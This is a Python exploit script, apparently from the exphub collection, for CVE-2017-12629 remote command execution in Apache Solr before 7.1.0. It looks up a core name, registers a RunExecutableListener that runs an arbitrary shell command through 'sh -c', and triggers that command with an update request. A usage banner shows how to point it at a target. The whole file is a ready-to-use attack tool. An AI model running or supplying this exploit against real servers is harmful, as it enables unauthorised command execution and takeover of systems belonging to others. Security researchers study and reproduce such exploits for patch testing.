#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzyker

import requests
import sys
import json

if len(sys.argv)!=4:
    print('+--------------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                     +')
    print('+      Apache Solr Commons Remote Code Execution                           +')
    print('+--------------------------------------------------------------------------+')
    print('+ USE: python3 cve-2017-12629_cmd.py <url> <listener_name> <cmd>           +')
    print('+ EXP: python3 cve-2017-12629_cmd.py http://ip:8983 name "touch /tmp/123"  +')
    print('+ VER: Apache Solr < 7.1.0                                                 +')
    print('+--------------------------------------------------------------------------+')
    sys.exit(0)

url = sys.argv[1]
listener = sys.argv[2]
cmd = sys.argv[3]


#get core name
core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
    r = requests.request("GET", url=core_url, timeout=20)
    core_name = list(json.loads(r.text)["status"])[0]
    print ("[+] GET CORE NAME: "+url+"/solr/"+core_name+"/config")
except:
    print ("[-] Target Not Vuln Good Luck")
    sys.exit(0)
    
cmd_url = url + "/solr/" +core_name+ "/config"
exec_url = url + "/solr/" +core_name+ "/update"
#print (cmd_url)
#print (exec_url)
    
headers_cmd = {
    'Host': "localhost",
    'Accept': "*/*",
    'Accept-Language': "en",
    'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
    'Connection': "close",
    'Content-Length': "160"
    }
   
headers_exec = {
    'Host': "localhost",
    'ccept-Language': "en",
    'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
    'Connection': "close",
    'Content-Type': "application/json",
    'Content-Length': "15"
    } 


payload_cmd = """
{"add-listener":{"event":"postCommit","name":"%s","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "%s"]}}
""" % (listener,cmd)

payload_exec = """
[{"id":"test"}]
"""

r = requests.request("POST", url=cmd_url, data=payload_cmd, headers=headers_cmd, timeout=30)
a = list(json.loads(r.text))[1]
if "errorMessages" in a:
    print ("[-] Listener Repeat")
    sys.exit(0)

r = requests.request("POST", url=exec_url, data=payload_exec, headers=headers_exec, timeout=30)
if r.status_code == 200:
    print ("[+] Command Executed Successfully (Effective about one minute) (No Echo)")
else:
    print ("[-] Command Executed Failed")


